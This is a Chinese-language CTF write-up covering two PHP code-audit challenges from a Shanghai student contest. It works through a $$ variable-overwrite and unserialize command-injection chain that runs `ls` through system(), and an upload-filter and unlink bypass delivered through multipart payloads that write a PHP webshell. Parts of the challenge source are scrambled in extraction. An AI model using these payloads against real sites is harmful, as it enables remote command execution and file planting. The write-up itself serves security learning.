上海大学生两道代码审计题目

放假抽空和同学打了一哈上海大学生的ctf,题目质量一般,脑洞太大,不过有两道代码审计题目还是不错的,同时自己也有好多点没有考虑到,这里记录一哈学习经验。

web2

序列化与反序列化

php所有的值都可以使用serialize()来存储数据,输出一串字符串。
unserialize()将字符串内包含的数据进行返回。
序列化一个对象(类的实例),不会保存类的方法(所以一般情况只能去找类的漏洞)。

魔术方法

PHP 中所有以 __(两个下划线)开头的类方法保留为魔术方法。
常用的魔术方法有

__construct(), __destruct(), __call(), __callStatic(),
 __get(), __set(), __isset(), __unset(), __sleep(),
 __wakeup(), __toString(), __invoke(), __set_state(),
 __clone() 和 __debugInfo()

一些默认情况

序列化一个对象是默认会调用__sleep
反序列化是会调用__wakeup
__construct会在实例化一个对象是被调用
__desturct会在对象不再使用或者程序退出时自动调用
__toString会在对象被当做字符串时使用(特别注意字符串连接符.)
__get会在读取不可访问的属性的值的时候调用
method = $method;
        $this->args = $args;
    }
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf(trim($v));
        }
    }
    function waf($str){
        $str=preg_replace("/[<>*;|?\n ]/","",$str);
        $str=str_replace('flag','',$str);
        return $str;
    }           
    function echo($host){
        system("echo $host");
    }
    function __destruct(){
        if (in_array($this->method, array("echo"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
}
$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
        if($i===1)
        {
            $i++;
            $$key = $value;
        }
        else{break;}
}
if($first==="doller")
{
    @parse_str($_GET['a']);
    if($var==="give")
    {
        if($bbb==="me")
        {
            if($ccc==="flag")
            {
                echo "
welcome!
"; $come=@$_POST['come']; unserialize($come); } } else {echo "
think about it
";} } else { echo "NO"; } } else { echo "Can you hack me?
"; } ?>

这道题目是2017年百越杯的改版,这里刚开始是经典的$$变量覆盖漏洞,没什么好看的,直接丢paylaod

first=doller&a=var=give%26bbb=me%26ccc=flag

其中一些方法如下

__construct,初始化变量
__wakeup,在反序列化时会自动调用,先将$args进行trim,再进行waf
waf,将正则中的东西替换为空
echo,这里调用系统命令执行$host参数中指定的命令
__destruct,对象销毁时使用,如果传入的对象中有echo方法,就执行call_user_func_array函数,参数为$args

剩下这里就很简单了

$come=new come("echo",array("`ls`")); //init here
$test=serialize($come);
print_r($test);
O:4:"come":2:{s:12:"comemethod";s:4:"echo";s:10:"comeargs";a:1:{i:0;s:4:"`ls`";}}

然后

传入参数
unserialize($_GET['come']);

什么都没有发生。
这里参考原因是print_r中的部分不可见字符paylaod输出后进行了改变,手动调整就好。

print_r(urlencode($test));
come=O%3A4%3A%22come%22%3A2%3A%7Bs%3A12%3A%22%00come%00method%22%3Bs%3A4%3A%22echo%22%3Bs%3A10%3A%22%00come%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A4%3A%22%60ls%60%22%3B%7D%7D

即可成功执行
另外也可以手动修改

00000000: 4f3a 343a 2263 6f6d 6522 3a32 3a7b 733a  O:4:"come":2:{s:
00000010: 3132 3a22 0063 6f6d 6500 6d65 7468 6f64  12:".come.method
00000020: 223b 733a 343a 2265 6368 6f22 3b73 3a31  ";s:4:"echo";s:1
00000030: 303a 2200 636f 6d65 0061 7267 7322 3b61  0:".come.args";a
00000040: 3a31 3a7b 693a 303b 733a 343a 2260 6c73  :1:{i:0;s:4:"`ls
00000050: 6022 3b7d 7d                             `";}}

其中的.在之前的print_r中没有输出,这里修改为%00即可,最后直接给给payload。

?come=O:4:"come":2:{s:12:"%00come%00method";s:4:"echo";s:10:"%00come%00args";a:1:{s:4:"host";s:4:"`ls`";}}

剩下没难度,老套路。


web3

这里记录一哈只因为学到了end和$filename[count($filename) - 1]),unlink绕过方法

比赛的时候乍一看需要过两关

end($filename)==$filename[count($filename) - 1]
substr(file($_)[0],0,6)==='@

想到了被hitcon的oneline题目,而且第一关没有过去的经验,给吓住了,直接就放弃了。
赛后再看发现这个题目真是太简单了

首先上传一个文件,然后比较
end($filename)==$filename[count($filename) - 1]
也就是后缀名师傅相等
不等就重命名为一个100-999(可爆破)的文件名.ext
而且上传文件的前6个字符需要为@

思路就很简单,需要爆破文件名就一定需要考虑unlink函数的漏洞,或者条件竞争。

至于end(filename[count($filename) - 1]的漏洞,这里参考了

这里问题出现在如何获取$filename
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
首先,检查有没有POST file,如果有的话,就直接获取file(这里file可以为数组)
如果没有的话,就获取上传的文件名$_FILES['file']['name'];

然后,如果if (!is_array($filename)) ,也就是文件名不是数组话,就.分割
也就是I.am.theKingOfNight会被分割为
file[0]=>'I'
file[1]=>'am'
file[2]=>'theKingOfNight'
然后再$ext = end($filename);,也就是获取filename的最后一项,在这里就返回theKingOfNight

而且,针对复合型数组
file[0]=>'I'
file[1]=>'am
file[name]=>'theKingOfNight'
end($filename)在这里取的是theKingOfNight
$filename[count($filename) - 1]在这里取的是file[2],但是不存在这个东西,所以为空

至于unlink函数,这里也是利用了漏洞

本地文件包含漏洞可以让 php 包含自身从而导致死循环
然后 php 就会崩溃 , 如果请求中同时存在一个上传文件的请求的话 , 这个文件就会被保留
在这里同时在自己的请求中上传自己想要上传的文件,在unlink函数之前使程序崩溃,就可以使得程序一直保留文件。

绕过unlink写shell,我参考了这篇程序,当然没有玩玩整整的读完,还是很有难度的

这里使用了一个小trik,也在文章最后给出
/.

万事具备,剩下的东西没什么难度了。
这里给出两个利用的payload,直接从这里偷的

----------------------------568507734196432315160385
Content-Disposition: form-data; name="file[0]"

php

----------------------------568507734196432315160385
Content-Disposition: form-data; name="file[a]"

php/.
----------------------------568507734196432315160385
Content-Disposition: form-data; name="file"; filename="index.php"
Content-Type: application/x-httpd-php


----------------------------568507734196432315160385--
----------------------------280543779984883401718121
Content-Disposition: form-data; name="file[0]"

php
----------------------------280543779984883401718121
Content-Disposition: form-data; name="file[a]"

php/.
----------------------------280543779984883401718121
Content-Disposition: form-data; name="hehe"

100.php
----------------------------280543779984883401718121
Content-Disposition: form-data; name="file"; filename="index.php"
Content-Type: application/x-httpd-php

@
----------------------------280543779984883401718121--

当然,如果有什么好的提议或想法也欢迎师傅们多多交流,感激不尽。

参考

https://www.freebuf.com/column/163174.html
https://chybeta.github.io/2017/10/28/2017%E5%B9%B4%E7%99%BE%E8%B6%8A%E6%9D%AFAWD-web-writeup/?tdsourcetag=s_pctim_aiomsg
https://blog.csdn.net/publicStr/article/details/82085883
https://www.jianshu.com/p/dfd049924258
https://xz.aliyun.com/t/3155#toc-17

你可能感兴趣的:(上海大学生两道代码审计题目)